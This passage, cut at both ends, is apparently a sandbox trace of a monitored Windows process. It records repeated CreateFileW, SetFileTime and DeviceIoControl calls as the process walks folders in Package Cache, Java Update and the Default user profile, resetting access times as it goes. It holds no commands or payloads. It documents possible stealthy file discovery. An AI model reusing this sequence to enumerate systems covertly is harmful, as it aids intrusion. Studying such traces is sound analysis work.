| out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.895] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.896] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.896] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.896] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.896] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.943] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.944] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.944] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.990] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.990] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.990] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0258.023] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.023] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.023] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.038] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.039] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.039] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.039] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.039] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0258.039] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0258.040] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.040] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0258.040] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0258.040] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.040] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.040] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.072] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0258.072] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0258.073] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.073] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0258.073] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0258.075] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0258.076] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.076] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.083] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0258.084] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.084] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.091] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0258.091] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.091] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.092] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.092] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.092] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0258.092] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0258.093] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0258.093] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0258.093] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0258.093] CreateFileW (lpFileName="C:\\Users\\All Users\\Start Menu" (normalized: "c:\\users\\all users\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.101] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun" (normalized: "c:\\users\\all users\\sun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0258.101] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.101] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.146] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java" (normalized: "c:\\users\\all users\\sun\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0258.146] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.146] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.179] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update" (normalized: "c:\\users\\all users\\sun\\java\\java update"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0258.179] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0258.179] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0258.180] CreateFileW (lpFileName="C:\\Users\\All Users\\Templates" (normalized: "c:\\users\\all users\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.180] CreateFileW (lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.180] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0258.180] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0258.180] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data" (normalized: "c:\\users\\default\\application data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.190] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts" (normalized: "c:\\users\\default\\contacts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.190] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.190] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.191] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies" (normalized: "c:\\users\\default\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.191] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop" (normalized: "c:\\users\\default\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0258.191] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.191] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.191] CreateFileW (lpFileName="C:\\Users\\Default\\Documents" (normalized: "c:\\users\\default\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.192] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.192] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.193] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music" (normalized: "c:\\users\\default\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.193] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Pictures" (normalized: "c:\\users\\default\\documents\\my pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.193] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Videos" (normalized: "c:\\users\\default\\documents\\my videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0258.193] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads" (normalized: "c:\\users\\default\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0258.193] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.194] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.207] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites" (normalized: "c:\\users\\default\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.207] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0258.207] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0258.225] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links" (normalized: "c:\\users\\default\\favorites\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.225] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.225] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.258] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\default\\favorites\\microsoft websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0258.258] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.258] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.268] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites" (normalized: "c:\\users\\default\\favorites\\msn websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0258.268] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.268] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.272] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live" (normalized: "c:\\users\\default\\favorites\\windows live"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0258.273] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0258.273] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0258.283] CreateFileW (lpFileName="C:\\Users\\Default\\Links" (normalized: "c:\\users\\default\\links"), dwDesiredAccess=0x80000000, 